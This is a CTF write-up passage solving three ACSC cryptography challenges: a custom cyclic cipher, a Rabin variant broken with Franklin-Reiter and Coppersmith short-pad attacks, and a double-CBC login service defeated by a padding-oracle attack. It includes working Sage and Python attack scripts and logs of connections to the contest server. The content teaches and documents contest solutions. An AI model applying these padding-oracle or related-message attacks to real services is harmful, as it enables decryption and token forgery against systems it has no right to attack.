[51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51]
b'XXXXXXXXXXXXXXXXXXXXX'
[25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25]
b'YYYYYYYYYYYYYYYYYYYYY'
Traceback (most recent call last):
File "<REDACTED>", line 33, in <module>
pickle.loads(pickle_rick)
File "something_suspicious.py", line 71, in mix
AssertionError
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
b'\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
[231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231]
b'\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02'
[205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205]
```
Seems an increase in ascii value increases the encrypted string by 231, or decreases by 26. Notice that 231 - (-26) = 257, so we can assume that 257 is somehow used as the modulus.
And this explains why there is error for `b'Y'`, since 25 + 231 = 256, which is outside the byte range (0 ~ 255).
There seems to be some files called `something_suspicious.py`, but I just did not care about it.
Let's change by just a bit to see what happens:
```
Reference:
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
[21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
[42, 40, 38, 36, 34, 32, 30, 28, 26, 24, 22, 20, 18, 16, 14, 12, 10, 8, 6, 4, 2]
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01'
[41, 39, 37, 35, 33, 31, 29, 27, 25, 23, 21, 19, 17, 15, 13, 11, 9, 7, 5, 3, 22]
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00'
[20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 21]
```
It seems that there are beautiful arithmetric sequences formed when we modifies just a bit. Notice that the third results is basically the second result doubled.
Also, from the second and fifth test, we can see that when the plaintext is rotated, the ciphertext also rotated. We can carry out a test to add more confidence to the observation:
```
Reference:
b'Wubba lubba dub-dub!!
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176]
b'ubba dub-dub!!Wubba l'
[200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176, 77, 84, 207, 188, 169, 129, 9]
```
So seems that this is the case.
Also, from the second, fourth and the fifth test, we can see that since second and fifth are added to form the fourth plaintext, the ciphertext is also added.
Which means if it is true, each byte in the plaintext is multiplied by a certain value and added to each byte in the ciphertext according to the location. We can carry a test:
```
Reference:
b'Wubba lubba dub-dub!!
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176]
b'Vubba lubba dub-dub!!'
[76, 63, 187, 169, 151, 112, 250, 185, 52, 34, 16, 234, 115, 139, 6, 245, 142, 166, 33, 15, 174]
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
[21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]
b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[1, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2]
```
The fourth result is obtained by rotating the third result to the right by 1.
So we can verify that the first result can be obtained by adding the second result and the fourth result.
Also, from the third result, we can see that the weight is the cyclic-left-distance from the byte position, where the farthest position, the neighbor just at the right has the largest weight.
Therefore, we can craft the encrypt function by our own:
```python=
def encrypt(rick_says):
leng = len(rick_says)
result = [0 for i in range(leng)]
for i in range(leng):
for j in range(leng):
result[(i - j)%leng] += rick_says[i] * (j + 1)
return [x%257 for x in result]
```
(yes, that function works even if the length is not 21)
and since it is linear, we can represent it using matrix form:
$$
\begin{bmatrix}
1 & 2 & \dots & n-1 & n \\
n & 1 & \dots & n-2 & n-1 \\
\vdots & \vdots & \ddots & \vdots & \vdots\\
3 & 4 & \dots & 1 & 2 \\
2 & 3 & \dots & n & 1 \\
\end{bmatrix}
\begin{bmatrix}
b_0 \\
b_1 \\
\vdots\\
b_{n-2} \\
b_{n-1} \\
\end{bmatrix}
\equiv
\begin{bmatrix}
c_0 \\
c_1 \\
\vdots\\
c_{n-2} \\
c_{n-1} \\
\end{bmatrix}
\pmod {257}
$$
Therefore, we can solve it using the inverse matrix, but actually there's a more efficient way for this kind of cyclic matrix.
First, calculate the difference between each pair of adjacent rows:
$$
\begin{bmatrix}
1-n & 1 & \dots & 1 & 1 \\
1 & 1-n & \dots & 1 & 1 \\
\vdots & \vdots & \ddots & \vdots & \vdots\\
1 & 1 & \dots & 1-n & 1 \\
1 & 1 & \dots & 1 & 1-n \\
\end{bmatrix}
\begin{bmatrix}
b_0 \\
b_1 \\
\vdots\\
b_{n-2} \\
b_{n-1} \\
\end{bmatrix}
\equiv
\begin{bmatrix}
c_0-c_1 \\
c_1-c_2 \\
\vdots\\
c_{n-2}-c_{n-1} \\
c_{n-1}-c_0 \\
\end{bmatrix}
\pmod {257}
$$
Second, calculate the sum of all rows in the original matrix:
$(1+2+\dots+(n-1)+n)(b_0+b_1+\dots+b_{n-2}+b_{n-1})\equiv(c_0+c_1+\dots+c_{n-2}+c_{n-1})\pmod {257}$
$$
\begin{bmatrix}
1 & 1 & \dots & 1 & 1 \\
\end{bmatrix}
\begin{bmatrix}
b_0 \\
b_1 \\
\vdots\\
b_{n-2} \\
b_{n-1} \\
\end{bmatrix}
\equiv
\left(\frac{n(n+1)}{2}\right)^{-1}
\begin{bmatrix}
c_0+c_1+\dots+c_{n-2}+c_{n-1} \\
\end{bmatrix}
\pmod {257}
$$
Denote $\left(\frac{n(n+1)}{2}\right)^{-1}(c_0+c_1+\dots+c_{n-2}+c_{n-1})\bmod 257$ as $s$.
Then, we subtract this sum from each row of difference:
$$
\begin{bmatrix}
-n & 0 & \dots & 0 & 0 \\
0 & -n & \dots & 0 & 0 \\
\vdots & \vdots & \ddots & \vdots & \vdots\\
0 & 0 & \dots & -n & 0 \\
0 & 0 & \dots & 0 & -n \\
\end{bmatrix}
\begin{bmatrix}
b_0 \\
b_1 \\
\vdots\\
b_{n-2} \\
b_{n-1} \\
\end{bmatrix}
\equiv
\begin{bmatrix}
c_0-c_1-s \\
c_1-c_2-s \\
\vdots\\
c_{n-2}-c_{n-1}-s \\
c_{n-1}-c_0-s \\
\end{bmatrix}
\pmod {257}
$$
Then use division to recover all plaintexts:
$$
\begin{bmatrix}
1 & 0 & \dots & 0 & 0 \\
0 & 1 & \dots & 0 & 0 \\
\vdots & \vdots & \ddots & \vdots & \vdots\\
0 & 0 & \dots & 1 & 0 \\
0 & 0 & \dots & 0 & 1 \\
\end{bmatrix}
\begin{bmatrix}
b_0 \\
b_1 \\
\vdots\\
b_{n-2} \\
b_{n-1} \\
\end{bmatrix}
\equiv
-n^{-1}
\begin{bmatrix}
c_0-c_1-s \\
c_1-c_2-s \\
\vdots\\
c_{n-2}-c_{n-1}-s \\
c_{n-1}-c_0-s \\
\end{bmatrix}
\pmod {257}
$$
Since plaintext are all in bytes, we have the following result:
$b_i=(-n^{-1}(c_i-c_{(i+1)\bmod{n}}-s))\bmod{257}$, where $s=\left(\frac{n(n+1)}{2}\right)^{-1}(c_0+c_1+\dots+c_{n-2}+c_{n-1})\bmod 257$.
The decrypt function is crafted as below:
```python=
def decrypt(result):
leng = len(result)
s = (pow((leng * (leng + 1)) >> 1, -1, 257) * sum(result)) % 257
return bytes([(-pow(leng, -1, 257) * (result[x] - result[(x+1)%leng] - s))%257 for x in range(len(result))])
```
Use the previous obtained target as the argument:
```
>>> decrypt([98, 59, 114, 85, 203, 16, 155, 94, 218, 48, 235, 18, 189, 14, 117, 73, 138, 209, 91, 104, 28])
b"YEAH!I'm_pickle-RICK!"
```
Submit this byte string back to the original program:
```
`.inWWx*.
`izW@MxnnnxMn;
`*WWxnnnnnnnnnnxx*`
:MWnnnznnnnnnnnnnnxxi`
`#@xnn#***+#+nnnnnnnnnxn,
...
Skipped
...
.#WMnnnnnnnnnnnnnnnnnnnnnnnxWW#,
`ixWMxnnnnnnnnnnnnnnnnxW@ni`
.izMWWMxxxxxxxMMW@M#;`
`.;+#nxxxzz+*;.` http://www.asciify.net/ascii/ascii/11190
Pickle Rick says:
b"YEAH!I'm_pickle-RICK!"
The flag machine says:
CORRECT! The flag is: ACSC{YEAH!I'm_pickle-RICK!}
```
Flag: `ACSC{YEAH!I'm_pickle-RICK!}`
## Two Rabin (crypto) (Score: 360, 20 Solves)
### Source (chal.py)
```python=
import random
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from flag import flag
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
B = getStrongPrime(512)
m = flag[0:len(flag)//2]
print("flag1_len =",len(m))
m1 = bytes_to_long(m)
m2 = bytes_to_long(pad(m,128))
assert m1 < n
assert m2 < n
c1 = (m1*(m1+B)) % n
c2 = (m2*(m2+B)) % n
print("n =",n)
print("B =",B)
print("c1 =",c1)
print("c2 =",c2)
# Harder!
m = flag[len(flag)//2:]
print("flag2_len =",len(m))
m1 = bytes_to_long(m)
m1 <<= ( (128-len(m))*8 )
m1 += random.SystemRandom().getrandbits( (128-len(m))*8 )
m2 = bytes_to_long(m)
m2 <<= ( (128-len(m))*8 )
m2 += random.SystemRandom().getrandbits( (128-len(m))*8 )
assert m1 < n
assert m2 < n
c1 = (m1*(m1+B)) % n
c2 = (m2*(m2+B)) % n
print("hard_c1 =",c1)
print("hard_c2 =",c2)
```
### Analysis
The task is related to the Rabin cryptosystem, like RSA but with 2 as the exponent. Since there are two plaintext-ciphertext pairs used, it has nothing to do with the normal Rabin decryption method. Instead, common attacks for RSA also apply here.
### Solution
First we need to transform the plaintext-ciphertext pair to normal Rabin encryption:
$$
c_0 = p_0 (p_0 + B) \bmod n\\
c_0 = \left(\left(p_0 + \frac{B}{2} - \frac{B}{2}\right)\left(p_0 + \frac{B}{2} + \frac{B}{2}\right)\right) \bmod n\\
c_0 = \left(\left(p_0 + \frac{B}{2}\right)^2-\left(\frac{B}{2}\right)^2\right) \bmod n\\
c_0+\left(\frac{B}{2}\right)^2 \equiv \left(p_0 + \frac{B}{2}\right)^2 \pmod n
$$
Notice that since $B$ is odd, we are referring $\frac{B}{2}$ to $(B\times 2^{-1}) \bmod n$ here, which is $\frac{B+n}{2} \bmod n$.
Since there is relationship inferred between m1 and m2, which is the padding:
$$
m_2 = (m_1 \ll (8(128-98))) + (128-98) \times\frac{(1 \ll (8(128 - 98))) - 1}{255}
$$
or simply:
$$
m_2 = m \times m_1 + c, \text{where} \\
m = 1 \ll 240\\
c = \text{0x1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e}
$$
Therefore, Franklin-Reiter Related Message Attack can be applied here.
The plaintext after translation becomes $m_1 + \frac{B}{2}$ and $m_2 + \frac{B}{2}$ respectively.
Denote
$$
m'_1 = m_1 + \frac{B}{2}\\
m'_2 = m_2 + \frac{B}{2}
$$
then
$$
m_2 = m \times m_1 + c\\
m'_2 - \frac{B}{2} = m \times \left(m'_1 - \frac{B}{2}\right) + c\\
m'_2 = m \times m'_1 + \left(c - \frac{B(m-1)}{2}\right)
$$
Therefore, using sage, we can recover the plaintext:
```python=
n = 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003326444660295787578301365987666679013861017982035560204259777436442969488099
e = 2
B = 12408624070212894491872051808326026233625878902991556747856160971787460076467522269639429595067604541456868927539680514190186916845592948405088662144279471
c1= 47149257341850631803344907793040624016460864394802627848277699824692112650262968210121452299581667376809654259561510658416826163949830223407035750286554940980726936799838074413937433800942520987785496915219844827204556044437125649495753599550708106983195864758161432571740109614959841908745488347057154186396
c2= 38096143360064857625836039270668052307251843760085437365614169441559213241186400206703536344838144000472263634954875924378598171294646491844012132284477949793329427432803416979432652621257006572714223359085436237334735438682570204741205174909769464683299442221434350777366303691294099640097749346031264625862
delta = (B + n) >> 1
c1 = (c1 + delta^2) % n
c2 = (c2 + delta^2) % n
# Source: https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Franklin-Reiter/exploit.sage
def gcd(a, b):
while b:
a, b = b, a % b
return a.monic()
def franklinreiter(C1, C2, e, N, a, b):
P.<X> = PolynomialRing(Zmod(N))
g1 = (a*X + b)^e - C1
g2 = X^e - C2
result = -gcd(g1, g2).coefficients()[0]
return result
def int_to_bytes(x: int) -> bytes:
return x.to_bytes((x.bit_length() + 7) // 8, 'big')
bg = 0x1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e
soln = franklinreiter(c2, c1, e, n, 1 << 240, bg + delta - (delta << 240)) - delta
print(int_to_bytes(int(soln)))
```
Output:
```
b'ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4'
```
which is the first part of the flag.
For the second part, it is basically similar, instead we are not able to determine the linear relationship from the source code directly.
This time both plaintexts are shifted left, then the lowest bytes are padded with random bits.
Which means the upper bits for both plaintexts are the same.
Since the plaintext length is 98 bytes, which means the plaintexts just differ in the lowest $(128 - 98) \times 8 = 240$ bits.
Although is difference is unknown, we can apply Coppersmith’s short-pad attack to recover it.
Quote from [Wikipedia](https://en.wikipedia.org/wiki/Coppersmith's_attack#Coppersmith.E2.80.99s_short-pad_attack):
Let $\left \langle N,e\right \rangle$ be a public RSA key where $N$ is $n$-bits long. Set $m = \lfloor \frac{n}{e^2} \rfloor$. Let $M \in \mathbb {Z}^*_N$ be a message of length at most $n-m$ bits. Define $M_1 = 2^m M + r_1$ and $M_2 = 2^m M + r_2$, where $r_1$ and $r_2$ are distinct integers with $0 \le r_1, r_2 < 2^m$. If Eve is given $\left \langle N, e\right \rangle$ and the encryptions $C_1, C_2$ of $M_1, M_2$ (but is not given $r_1$ or $r_2$), she can efficiently recover $M$.
In this case, $m = \lfloor \frac{n}{e^2} \rfloor = \lfloor \frac{1024}{2^2} \rfloor = 256, n-m = 768$, the number of bits of $M$ is $98 \times 8 = 784$, which is slightly more than $768$.
Notice that $n-m$ is only the boundary that $M_1, M_2<N$, which actually means that $M$ (actually $M_1, M_2$ also) can be recovered efficiently if $r_1, r_2$ are not exceeding $m$ bits, as we can treat the extra message bits as in $r_1, r_2$ instead of $M$.
We can try to solve it using this attack. But since the padding length is close to the limit, but we have to use a much smaller epsilon and expect a longer running time.
```python=
c1 = 73091191827823774495468908722773206641492423784400072752465168109870542883199959598717050676487545742986091081315652284268136739187215026022065778742525832001516743913783423994796457270286069750481789982702001563824813913547627820131760747156379815528428547155422785084878636818919308472977926622234822351389
c2 = 21303605284622657693928572452692917426184397648451262767916068031147685805357948196368866787751567262515163804299565902544134567172298465831142768549321228087238170761793574794991881327590118848547031077305045920819173332543516073028600540903504720606513570298252979409711977771956104783864344110894347670094
n = # as above
e = # as above
B = # as above
delta = (B + n) >> 1
c1 = (c1 + delta^2) % n
c2 = (c2 + delta^2) % n
# Source: https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage
def CoppersmithShortPadAttack(e,n,C1,C2,eps=1/30):
P.<x,y> = PolynomialRing(ZZ)
ZmodN = Zmod(n)
g1 = x^e - C1
g2 = (x+y)^e - C2
res = g1.resultant(g2)
P.<y> = PolynomialRing(ZmodN)
# Convert Multivariate Polynomial Ring to Univariate Polynomial Ring
rres = 0
for i in range(len(res.coefficients())):
rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))
diff = rres.small_roots(epsilon=eps)
return diff
def gcd(a, b):
# as above
def franklinreiter(C1, C2, e, N, a, b):
# as above
def int_to_bytes(x: int) -> bytes:
return x.to_bytes((x.bit_length() + 7) // 8, 'big')
diff = CoppersmithShortPadAttack(e, n, c1, c2, 1/70)
print(diff)
diff = diff[0] # r2 - r1
soln = (franklinreiter(c2, c1, e, n, 1, -diff) - delta) >> 240
int_to_bytes(int(soln))
```
Output:
```
[1637558660573652475698054766420163959191730746581158985657024969935597275, 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003324807101635213925825667932900258849901826251288979045274120411473033890824]
b'a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}'
```
By combining two parts, we can obtain the flag:
`ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}`
## CBCBC (crypto) (Score: 210, 35 Solves)
### Source (chal.py)
```python=
#!/usr/bin/env python3
import base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import hidden_username, flag
key = os.urandom(16)
iv1 = os.urandom(16)
iv2 = os.urandom(16)
def encrypt(msg):
aes1 = AES.new(key, AES.MODE_CBC, iv1)
aes2 = AES.new(key, AES.MODE_CBC, iv2)
enc = aes2.encrypt(aes1.encrypt(pad(msg, 16)))
return iv1 + iv2 + enc
def decrypt(msg):
iv1, iv2, enc = msg[:16], msg[16:32], msg[32:]
aes1 = AES.new(key, AES.MODE_CBC, iv1)
aes2 = AES.new(key, AES.MODE_CBC, iv2)
msg = unpad(aes1.decrypt(aes2.decrypt(enc)), 16)
return msg
def create_user():
username = input("Your username: ")
if username:
data = {"username": username, "is_admin": False}
else:
# Default token
data = {"username": hidden_username, "is_admin": True}
token = encrypt(json.dumps(data).encode())
print("Your token: ")
print(base64.b64encode(token).decode())
def login():
username = input("Your username: ")
token = input("Your token: ").encode()
try:
data_raw = decrypt(base64.b64decode(token))
except:
print("Failed to login! Check your token again")
return None
try:
data = json.loads(data_raw.decode())
except:
print("Failed to login! Your token is malformed")
return None
if "username" not in data or data["username"] != username:
print("Failed to login! Check your username again")
return None
return data
def none_menu():
print("1. Create user")
print("2. Log in")
print("3. Exit")
try:
inp = int(input("> "))
except ValueError:
print("Wrong choice!")
return None
if inp == 1:
create_user()
return None
elif inp == 2:
return login()
elif inp == 3:
exit(0)
else:
print("Wrong choice!")
return None
def user_menu(user):
print("1. Show flag")
print("2. Log out")
print("3. Exit")
try:
inp = int(input("> "))
except ValueError:
print("Wrong choice!")
return None
if inp == 1:
if "is_admin" in user and user["is_admin"]:
print(flag)
else:
print("No.")
return user
elif inp == 2:
return None
elif inp == 3:
exit(0)
else:
print("Wrong choice!")
return None
def main():
user = None
print("Welcome to CBCBC flag sharing service!")
print("You can get the flag free!")
print("This is super-duper safe from padding oracle attacks,")
print("because it's using CBC twice!")
print("=====================================================")
while True:
if user:
user = user_menu(user)
else:
user = none_menu()
if __name__ == "__main__":
main()
```
### Analysis
In this system, user can create account using their provided username, or create an admin account using the hidden name. The flag can be obtained if the user login using the admin account.
The token is used for login, which is a base64 representation of the encrypted string, which is by default the padded JSON representation of `{"username": username, "is_admin": is_admin}`, with string `username` and boolean `is_admin`.
The encryption is done by applying AES_CBC twice using the same key, iv1 and iv2 which is generated at the start of the program.
Therefore, the decryption can be illustrated as below:
```
[C_1] [C_2] [C_3]
(CBC) | | |
v -------. v -------. v --- ...
(Dec) | (Dec) | (Dec)
| | | | |
v | v | v
[IV2] ----------> (Xor) .----> (Xor) .----> (Xor)
| | |
v v v
[T_1] [T_2] [T_3]
(CBC) | | |
v -------. v -------. v --- ...
(Dec) | (Dec) | (Dec)
| | | | |
v | v | v
[IV1] ----------> (Xor) .----> (Xor) .----> (Xor)
| | |
v v v
[M_1] [M_2] [M_3]
```
### Solution
Since the program gives three different messages regarding to different error states:
`"Failed to login! Check your token again"` for corrupted token, which means the unpadding is unsuccessful.
`"Failed to login! Your token is malformed"` for malformed token, which means the data is not valid JSON.
`"Failed to login! Check your username again"` for invalid username, which means the given username does not match the one in data.
The data of admin is supposed to be the following:
{"username": hidden_username, "is_admin": True}
where we do not have the exact length of the username.
A sample data is like the following:
```
b'y5\xcfp\x12\xba\xd4\x86qed?_0\xf5\xc2\x12\xd2\x86\x05\xa10\xbb\xe3:\xd4>|a+X\xb91\xb1\xf4\x96\xdb~E<\x00\x7f7\x8b\xa3\xb7gA^\x18\x97$\xdc^=U\x85\xc63k\xc4ioO:\xc8Uq\xdb\xe1_\xdb\xa5\x99\x17\xa1\xfa\xd5\x90\x06'
```
The length is 80, which means there are IV1, IV2, and 3 data blocks.
Since the length of `{"username": "", "is_admin": True}` id 34, we can conclude that the hidden_username is no longer than 48 - 1 - 34 = 13 characters.
Assume that the username is at least 2 characters long, then we have 2 unknown bytes in the username for the first block.
```
0123456789abcdef
{"username": "??
```
Since we can actually modify IV1 to change the content of the first plaintext block without affecting other blocks, we can make use of the JSON parser to deduce the bytes.
(For the JSON parser in Python, control characters (0x00~0x1f) and non-ascii characters (0x80~0xff) are not supported, and malformed data should be reported if `"` or `\` is found in the string (unless `"` is preceded by `\`, or valid escaped control character is preceded by `\`))
Since the ascii code of `"` is 0x22, and the ascii code of `\` is 0x5c, we know that when modifying IV1 from 0x00 to 0xff, if the invalid character appears in the same half as the control characters (continuous 32 errors), then it is `"`, otherwise it is `\`.
The test is carried out:
```python=
iv1, iv2, enc = msg[:16], msg[16:32], msg[32:]
for p in range(2):
print("Testing last", p + 1, "places:")
for m in range(128):
iv1_m = list(iv1)
# modify hi
iv1_m[-p-1] ^= m
iv1_m = bytes(iv1_m)
new_m = base64.b64encode(iv1_m + iv2 + enc)
print(testlogin(new_m)[25], end="\n" if m % 16 == 15 else " ")
```
```
Testing last 1 places:
u u u u u u u u u u u u u u u u
u e u u u u u u u u u u u u u u
e e e e e e e e e e e e e e e e
e e e e e e e e e e e e e e e e
u u u u u u u u u u u u u u u u
u u u u u u u u u u u u u u u u
u u u u u u u u u u u u u u u e
u u u u u u u u u u u u u u u u
Testing last 2 places:
u u u u u u u u u u u u u u e u
u u u u u u u u u u u u u u u u
u u u u u u u u u u u u u u u u
u u u u u u u u u u u u u u u u
e e e e e e e e e e e e e e e e
e e e e e e e e e e e e e e e e
u u u u u u u u u u u u u u u u
e u u u u u u u u u u u u u u u
```
We can see that for the last place, the `e` that is in the same half as the control characters is at place 0x11, therefore the character is supposed to be 0x22 (`"`) ^ 0x11 = 0x33 (`3`).
By applying the same for the second last place, we have 0x22 (`"`) ^ 0x70 = 0x52 (`R`).
We cannot use the same method to test for second plaintext block by modifying IV2 as it will corrupt T1 that also corrupts P1, or modify T1 directly as we do not know the encryption result of T1.
However, we can actually makes use of another error to test recover the content of the second plaintext block (and actually can be used to replace the parts above for the first plaintext block), which makes use of the padding.
We can remove all blocks after the target block to makes our target block to be the padded block.
Then, the last byte of the block will indicate how many extra characters are in the block by its ascii value, and all extra blocks will have the same ascii value. Therefore, if not all the blocks as indicated as extra characters have the same ascii value, then unpad function will throw the error.
To modify the plaintext data, we have to modify the ciphertext 1 block before as they are xor-connected. Since we have two layers, so eventually we need to modify the token 2 blocks before to change the bits in the plaintext correspondingly. (the IV2 is treated as the second previous block (C_0) to C_2))
```python=
iv1, iv2, enc1, enc2, enc3 = msg[:16], msg[16:32], msg[32:48], msg[48:64], msg[64:]
known = [0] * 16
for paddings in range(1, 17):
known2 = [x for x in known]
for j in range(1, paddings):
known2[-j] ^= paddings
for i in tqdm(range(32, 127)):
known2[-paddings] = i ^ paddings
iv2t = xor(iv2, bytes(known2))
if testlogin(iv1 + iv2t + enc1 + enc2) != "t":
known[-paddings] = i
break
print("".join(chr(x) for x in known))
```
The output is
```
[x] Opening connection to cbcbc.chal.acsc.asia on port 52171
[x] Opening connection to cbcbc.chal.acsc.asia on port 52171: Trying 34.146.13.152
[+] Opening connection to cbcbc.chal.acsc.asia on port 52171: Done
87%|██████████████████████████████▌ | 83/95 [00:15<00:02, 5.53it/s]
77%|██████████████████████████▉ | 73/95 [00:12<00:03, 5.72it/s]
2%|▊ | 2/95 [00:00<00:25, 3.71it/s]
0%| | 0/95 [00:00<?, ?it/s]
13%|████▍ | 12/95 [00:02<00:15, 5.26it/s]
2%|▊ | 2/95 [00:00<00:23, 3.96it/s]
39%|█████████████▋ | 37/95 [00:06<00:10, 5.59it/s]
73%|█████████████████████████▍ | 69/95 [00:12<00:04, 5.63it/s]
86%|██████████████████████████████▏ | 82/95 [00:15<00:02, 5.44it/s]
55%|███████████████████▏ | 52/95 [00:09<00:08, 5.34it/s]
79%|███████████████████████████▋ | 75/95 [00:17<00:04, 4.26it/s]
71%|████████████████████████▋ | 67/95 [00:12<00:05, 5.44it/s]
68%|███████████████████████▉ | 65/95 [00:11<00:05, 5.53it/s]
18%|██████▎ | 17/95 [00:03<00:14, 5.20it/s]
36%|████████████▌ | 34/95 [00:06<00:11, 5.33it/s]
72%|█████████████████████████ | 68/95 [00:13<00:05, 5.13it/s]
dB1ackTreE", "is
```
Which means the complete plaintext is `{"username": "R3dB1ackTreE", "is_admin": True}`.
Therefore, we can connect to the server and get the flag:
```
nc cbcbc.chal.acsc.asia 52171
== proof-of-work: disabled ==
Welcome to CBCBC flag sharing service!
You can get the flag free!
This is super-duper safe from padding oracle attacks,
because it's using CBC twice!
=====================================================
1. Create user
2. Log in
3. Exit
> 1
Your username:
Your token:
pFf+CFxGx8cqGNU5B8FYmZHiwbMOGvNasis4DKb5J6bOR0xbM4N1rsIUa3ry9QAe5MYJM4/kRukBTyQwTVhDieiupQ4RDtEKwShSzRiEFuo=
1. Create user
2. Log in
3. Exit
> 2
Your username: R3dB1ackTreE
Your token: pFf+CFxGx8cqGNU5B8FYmZHiwbMOGvNasis4DKb5J6bOR0xbM4N1rsIUa3ry9QAe5MYJM4/kRukBTyQwTVhDieiupQ4RDtEKwShSzRiEFuo=
1. Show flag
2. Log out
3. Exit
> 1
ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}
1. Show flag
2. Log out
3. Exit
> 3
```
Flag: `ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}`.
### Extras
If we want to use this method to get block 1, then we can modify iv1 instead.
```python=
iv1, iv2, enc1, enc2, enc3 = msg[:16], msg[16:32], msg[32:48], msg[48:64], msg[64:]
known = [0] * 16
for paddings in range(1, 3):
known2 = [x for x in known]
for j in range(1, paddings):
known2[-j] ^= paddings
for i in tqdm(range(32, 127)):
known2[-paddings] = i ^ paddings
iv1t = xor(iv1, bytes(known2))
if testlogin(iv1t + iv2 + enc1) != "t":
known[-paddings] = i
break
print("".join(chr(x) for x in known))
```
The output is
```
[x] Opening connection to cbcbc.chal.acsc.asia on port 52171
[x] Opening connection to cbcbc.chal.acsc.asia on port 52171: Trying 34.146.13.152
[+] Opening connection to cbcbc.chal.acsc.asia on port 52171: Done
20%|███████ | 19/95 [00:03<00:14, 5.11it/s]
53%|██████████████████▍ | 50/95 [00:09<00:08, 5.24it/s]
R3
```
Also, some may want to forge the is_admin to true for arbitrary user. In this case, you may have to do the following:
(Assume there are 3 blocks)
1. Modify ciphertext1 to correct plaintext3, then plaintext1 and plaintext2 will be corrupted. Use padding attack on IV2 to recover the content in plaintext2.
2. Modify IV2 to correct plaintext2, then plaintext1 will still be corrupted. Use padding attack on IV1 to recover the content in plaintext1.
3. Modify IV1 to correct plaintext1.
If someone has not noticed the different error messages between padding and bad JSON, one may try to produce garbage data blocks like the below:
Set `A....A` (82 `A`'s) as username, then the data looks like this:
```
0123456789abcdef (Block 1)
{"username": "AA (Block 2)
AAAAAAAAAAAAAAAA (Block 3)
AAAAAAAAAAAAAAAA (Block 4)
AAAAAAAAAAAAAAAA (Block 5)
AAAAAAAAAAAAAAAA (Block 6)
AAAAAAAAAAAAAAAA (Block 7)
", "is_admin": F (Block 8)
alse} (Block 9)
```
Remove Block 9, modify Block 6 so that Block 8 looks like the following: (`is_admin` is true now)
```
0123456789abcdef (Block 1)
{"username": "AA (Block 2)
AAAAAAAAAAAAAAAA (Block 3)
AAAAAAAAAAAAAAAA (Block 4)
AAAAAAAAAAAAAAAA (Block 5)
<16-bytegarbage> (Block 6)
<16-bytegarbage> (Block 7)
","is_admin":1} (Block 8)
```
Modify IV1 so that Block 1 looks like the following: (`username` is fixed to `""` now)
```
0123456789abcdef (Block 1)
{"username":""," (Block 2)
